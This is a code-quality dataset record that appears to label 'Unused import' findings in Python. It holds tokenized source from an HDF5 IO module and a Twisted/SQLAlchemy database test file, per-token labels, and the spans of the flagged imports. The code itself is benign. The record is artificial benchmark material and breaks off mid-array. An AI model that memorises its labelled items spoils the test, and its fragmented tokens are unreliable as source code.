",_", "\"", "hdf5", "\\u", "path", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "not_", "child_", "._", "hdf5", "\\u", "path_", "._", "startswith_", "(_", "ch_", "._", "\\u", "v", "\\u", "pathname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "Hard", " ", "Link", " ", "if", " ", "object", " ", "exist", "s", " ", "alr", "ead", "y", " ", "some", "where_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "target_", "=_", "self_", "._", "\\u", "data_", "._", "get", "Node_", "(_", "child_", "._", "hdf5", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "next", "\\u", "name_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "child_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "ch_", "._", "\\u", "v", "\\u", "pathname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "ch_", ",_", "new", "\\u", "name_", ")_", ":_", "#", " ", "On", "ly", " ", "link", " ", "if", " ", "path", " ", "doe", "s", " ", "not", " ", "exist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "child", "\\u", "node_", "=_", "self_", "._", "\\u", "data_", "._", "create", "Hard", "Link_", "(_", "ch_", "._", "\\u", "v", "\\u", "pathname_", ",_", "new", "\\u", "name_", ",_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tb_", "._", "No", "Suc", "h", "Node", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "child", "\\u", "node_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "child", "\\u", "node_", "=_", "self_", "._", "save_", "(_", "child_", ",_", "where_", "=_", "ch_", "._", "\\u", "v", "\\u", "pathname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "child_", "._", "\\u", "single", "\\u", "parent", "\\u", "containers_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "child", "\\u", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "obj", "\\u", "type_", "._", "lower_", "(_", ")_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "par", "\\u", "cont_", "in_", "child_", "._", "\\u", "multi", "\\u", "parent", "\\u", "containers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "parents_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "par", "\\u", "cont_", "in_", "child", "\\u", "node_", "._", "\\u", "v", "\\u", "attrs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "parents_", "=_", "child", "\\u", "node_", "._", "\\u", "v", "\\u", "attrs_", "[_", "par", "\\u", "cont_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parents_", "._", "append_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "child", "\\u", "node_", "._", "\\u", "f", "\\u", "set", "Attr_", "(_", "par", "\\u", "cont_", ",_", "parents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "new", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "\\u", "name_", "=_", "child_", "._", "hdf5", "\\u", "path_", "._", "split_", "(_", "'/'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "saved_", "._", "append_", "(_", "new", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "child_", "in_", "self_", "._", "\\u", "data_", "._", "iter", "Nodes_", "(_", "ch_", "._", "\\u", "v", "\\u", "pathname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "child_", "._", "\\u", "v", "\\u", "name_", "not_", "in_", "saved_", ":_", "#", " ", "clean", "-", "up_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "data_", "._", "remove", "Node_", "(_", "ch_", "._", "\\u", "v", "\\u", "pathname_", ",_", "child_", "._", "\\u", "v", "\\u", "name_", ",_", "recursive_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "update", "\\u", "path_", "(_", "obj_", ",_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Neo", "Hd", "f5", "IO_", "(_", "Base", "IO_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "\\u", "func", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "quanti", "tative", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "content", "s", " ", "of", " ", "the", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"", "Thi", "s", " ", "is", " ", "a", " ", "neo", ".", "HDF", "5", " ", "file", ".", " ", "it", " ", "contain", "s", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "info_", "._", "fromkeys_", "(_", "object", "names_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", "in_", "self_", "._", "\\u", "data_", "._", "walk", "Nodes_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "node_", "._", "\\u", "f", "\\u", "get", "Attr_", "(_", "\"\\u", "type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "[_", "t_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "node", " ", "is", " ", "not", " ", "of", " ", "NE", "O", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
foundit/Piped/contrib/database/piped_database/test/test_database.py
[ { "content": "# Copyright (c) 2010-2012, Found IT A/S and Piped Project Contributors.\n# See LICENSE for details.\n\n\"\"\" Test the database provider --- it should handle failures\ngracefully and notify its customers upon connection, disconnections,\netc. \"\"\"\nimport mock\nimport sqlalchemy as sa\nfrom twisted.application import service\nfrom twisted.internet import defer, reactor\nfrom twisted.trial import unittest\nfrom twisted.python import util as twisted_util, failure\n\nfrom piped import conf, util, dependencies, processing\nfrom piped_database import db, test as test_package\nfrom piped_database import providers as database_provider\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class FakeError(sa.exc.OperationalError):\n\n __repr__ = __str__", "metadata": "root.FakeError", "header": "['module', '___EOS___']", "index": 18 }, { "content": " def __init__(self):\n pass", "metadata": "root.FakeError.__init__", "header": "['class', 'FakeError', '(', 'sa', '.', 'exc', '.', 'OperationalError', ')', ':', '___EOS___']", "index": 19 }, { "content": " def __str__(self):\n return 'FakeError'", "metadata": "root.FakeError.__str__", "header": "['class', 'FakeError', '(', 'sa', '.', 'exc', '.', 'OperationalError', ')', ':', '___EOS___']", "index": 22 }, { "content": "class EngineProviderTest(unittest.TestCase):\n timeout = 20\n configuration_manager = None\n\n\n\n\n", "metadata": "root.EngineProviderTest", "header": "['module', '___EOS___']", "index": 27 }, { "content": " def setUp(self):\n self.events = defer.DeferredQueue()\n self.mocker = mock.MagicMock()", "metadata": "root.EngineProviderTest.setUp", "header": "['class', 'EngineProviderTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 31 }, { "content": " def make_engine_manager(self, profile_name='test_profile', **kwargs):\n kwargs.setdefault('engine', dict(url='sqlite://'))\n\n engine_manager = db.EngineManager(profile_name, **kwargs)\n\n # Only wait a reactor-iteration when testing. (There's an\n # assertion that this is non-zero, as that's not something you\n # want outside of tests, so we have to set it after making the\n # manager)\n engine_manager.ping_interval = 0\n engine_manager.retry_interval = 0\n\n engine_manager.on_connection_established += lambda engine: self.events.put(('connected', engine))\n engine_manager.on_connection_lost += lambda reason: self.events.put(('lost', reason))\n engine_manager.on_connection_failed += lambda reason: self.events.put(('failed', reason))\n\n return engine_manager", "metadata": "root.EngineProviderTest.make_engine_manager", "header": "['class', 'EngineProviderTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 35 }, { "content": " @defer.inlineCallbacks\n def test_connect_event_called(self):\n \"\"\" Check that the right events are called when connections\n are established and lost. \"\"\"\n engine_manager = self.make_engine_manager()\n\n engine_manager.engine = mocked_engine = self.mocker.engine\n mocked_connection = self.mocker.connection\n mocked_engine.connect.return_value=mocked_connection\n\n engine_manager.startService()\n\n event = yield self.events.get()\n self.assertEquals(event, ('connected', mocked_engine))\n\n engine_manager.stopService()\n yield util.wait(0)\n\n self.failIf(self.events.size > 0)\n\n self.assertEquals(self.mocker.mock_calls, [\n mock.call.engine.connect(),\n mock.call.connection.execute(\"SELECT 'ping'\"),\n mock.call.connection.close(),\n mock.call.engine.dispose()\n ])", "metadata": "root.EngineProviderTest.test_connect_event_called", "header": "['class', 'EngineProviderTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 53 }, { "content": " @defer.inlineCallbacks\n def test_handling_connect_error(self):\n \"\"\" If an error occurs on connect, another attempt should be made. \"\"\"\n engine_manager = self.make_engine_manager()\n engine_manager.engine = mocked_engine = self.mocker.engine\n mocked_connection = self.mocker.connection\n fake_error = FakeError()\n mocked_engine.connect.side_effect=util.get_callable_with_different_side_effects([fake_error, mocked_connection])\n\n engine_manager.startService()\n event = yield self.events.get()\n self.assertEquals(event[0], 'failed')\n self.assertTrue(event[1].value is fake_error)\n\n event = yield self.events.get()\n self.assertEquals(event, ('connected', mocked_engine))\n\n yield util.wait(0)\n engine_manager.stopService()\n yield util.wait(0)\n\n self.failIf(self.events.size > 0)\n self.assertEquals(self.mocker.mock_calls, [\n mock.call.engine.connect(),\n mock.call.engine.dispose(), # The first connect fails, so the engine is disposed.\n mock.call.engine.connect(),\n mock.call.connection(),\n mock.call.connection().execute(\"SELECT 'ping'\"),\n mock.call.connection().close(),\n mock.call.engine.dispose() # and disposed when the service stops.\n ])", "metadata": "root.EngineProviderTest.test_handling_connect_error", "header": "['class', 'EngineProviderTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 80 }, { "content": " @defer.inlineCallbacks\n def test_handling_ping_error_then_reconnecting(self):\n engine_manager = self.make_engine_manager()\n engine_manager.engine = mocked_engine = self.mocker.engine\n mocked_connection = self.mocker.connection\n fake_error = FakeError()\n mocked_engine.connect.side_effect=lambda: mocked_connection\n mocked_connection.execute.side_effect=util.get_callable_with_different_side_effects([None, fake_error, lambda *a, **kw: reactor.callFromThread(reactor.callLater, 0, engine_manager.stopService)])\n\n engine_manager.startService()\n\n self.assertEquals((yield self.events.get()), ('connected', mocked_engine))\n\n event = yield self.events.get()\n self.assertEquals(event[0], 'lost')\n self.assertTrue(event[1].value is fake_error)\n\n self.assertEquals((yield self.events.get()), ('connected', mocked_engine))\n\n self.failIf(self.events.size > 0)\n yield util.wait(0)\n\n self.assertEquals(self.mocker.mock_calls, [\n # First ping succeeds.\n mock.call.engine.connect(),\n mock.call.connection.execute(\"SELECT 'ping'\"),\n mock.call.connection.close(),\n\n # This one fails. The engine is disposed as a result.\n mock.call.engine.connect(),\n mock.call.connection.execute(\"SELECT 'ping'\"),\n mock.call.connection.close(),\n mock.call.engine.dispose(),\n\n # After this ping we stop the service.\n mock.call.engine.connect(),\n mock.call.connection.execute(\"SELECT 'ping'\"),\n mock.call.connection.close(),\n mock.call.engine.dispose()\n ])", "metadata": "root.EngineProviderTest.test_handling_ping_error_then_reconnecting", "header": "['class', 'EngineProviderTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 112 } ]
[ { "span": "from twisted.application import service", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 39 }, { "span": "from twisted.python import util as twisted_util, failure", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 56 }, { "span": "from piped import conf, util, dependencies, processing", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 54 }, { "span": "from piped_database import db, test as test_package", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 51 }, { "span": "from piped_database import providers as database_provider", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 57 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", "-", "2012", ",", " ", "Foun", "d", " ", "IT", " ", "A", "/", "S", " ", "and", " ", "Pipe", "d", " ", "Project", " ", "Contributor", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "LICENSE", " ", "for", " ", "deta", "il", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", " ", "Test", " ", "the", " ", "databa", "se", " ", "provide", "r", " ", "---", " ", "it", " ", "shou", "ld", " ", "handle", " ", "fail", "ure", "s", "\\", "10", ";", "graceful", "ly", " ", "and", " ", "notif", "y", " ", "its", " ", "customer", "s", " ", "upo", "n", " ", "connecti", "on", ",", " ", "discon", "necti", "ons", ",", "\\", "10", ";", "etc", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sqlalchemy_", "as_", "sa_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "twisted_", "._", "application_", "import_", "service_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "twisted_", "._", "internet_", "import_", "defer_", ",_", "reactor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "twisted_", "._", "trial_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "twisted_", "._", "python_", "import_", "util_", "as_", "twist", "ed", "\\u", "util_", ",_", "failure_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pipe", "d_", "import_", "conf_", ",_", "util_", ",_", "dependencies_", ",_", "processing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pipe", "d\\u", "database_", "import_", "db_", ",_", "test_", "as_", "test\\u", "package_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pipe", "d\\u", "database_", "import_", "providers_", "as_", "databa", "se", "\\u", "provider_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Fake", "Error_", "(_", "sa_", "._", "exc_", "._", "Opera", "tion", "al", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "repr\\u\\u_", "=_", "\\u\\u", "str\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fake", "Error_", "(_", "sa_", "._", "exc_", "._", "Opera", "tion", "al", "Error_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fake", "Error_", "(_", "sa_", "._", "exc_", "._", "Opera", "tion", "al", "Error_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Fake", "Error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Engine", "Provider", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "configura", "tion", "\\u", "manager_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Engine", "Provider", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "events_", "=_", "defer_", "._", "Defe", "rre", "d", "Queue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mocker_", "=_", "mock_", "._", "Mag", "ic", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine", "Provider", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "eng", "ine", "\\u", "manager_", "(_", "self_", ",_", "profile", "\\u", "name_", "=_", "'", "test\\u", "profile", "'_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "._", "setdefault_", "(_", "'", "eng", "ine", "'_", ",_", "dict_", "(_", "url_", "=_", "'", "sql", "ite", "://'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "=_", "db_", "._", "Engine", "Manager_", "(_", "profile", "\\u", "name_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "wait", " ", "a", " ", "react", "or", "-", "iterati", "on", " ", "whe", "n", " ", "testi", "ng", ".", " ", "(", "There", "'", "s", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assertion", " ", "tha", "t", " ", "this", " ", "is", " ", "non", "-", "zero", ",", " ", "as", " ", "tha", "t", "'", "s", " ", "not", " ", "somet", "hing", " ", "you", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "want", " ", "outsi", "de", " ", "of", " ", "tests", ",", " ", "so", " ", "we", " ", "have", " ", "to", " ", "set", " ", "it", " ", "after", " ", "mak", "ing", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "manage", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "ping", "\\u", "interval_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "retr", "y", "\\u", "interval_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "on", "\\u", "connecti", "on", "\\u", "establish", "ed_", "+=_", "lambda_", "engine_", ":_", "self_", "._", "events_", "._", "put_", "(_", "(_", "'", "connect", "ed", "'_", ",_", "engine_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "on", "\\u", "connecti", "on", "\\u", "lost_", "+=_", "lambda_", "reason_", ":_", "self_", "._", "events_", "._", "put_", "(_", "(_", "'", "lost", "'_", ",_", "reason_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "on", "\\u", "connecti", "on", "\\u", "failed_", "+=_", "lambda_", "reason_", ":_", "self_", "._", "events_", "._", "put_", "(_", "(_", "'", "fail", "ed", "'_", ",_", "reason_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "eng", "ine", "\\u", "manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine", "Provider", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "connect", "\\u", "event", "\\u", "called_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Check", " ", "tha", "t", " ", "the", " ", "right", " ", "events", " ", "are", " ", "call", "ed", " ", "whe", "n", " ", "connections", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "establish", "ed", " ", "and", " ", "lost", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "=_", "self_", "._", "make", "\\u", "eng", "ine", "\\u", "manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "engine_", "=_", "mocked", "\\u", "engine_", "=_", "self_", "._", "mocker_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "connection_", "=_", "self_", "._", "mocker_", "._", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "engine_", "._", "connect_", "._", "return", "\\u", "value_", "=_", "mocked", "\\u", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "start", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "=_", "yield_", "self_", "._", "events_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "event_", ",_", "(_", "'", "connect", "ed", "'_", ",_", "mocked", "\\u", "engine_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "stop", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "util_", "._", "wait_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "self_", "._", "events_", "._", "size_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "self_", "._", "mocker_", "._", "mock", "\\u", "calls_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "connect_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "execute_", "(_", "\"", "SELECT", " ", "'", "ping", "'\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "close_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "dispose", "_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine", "Provider", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "handling", "\\u", "connect", "\\u", "error_", "(_", "self_", 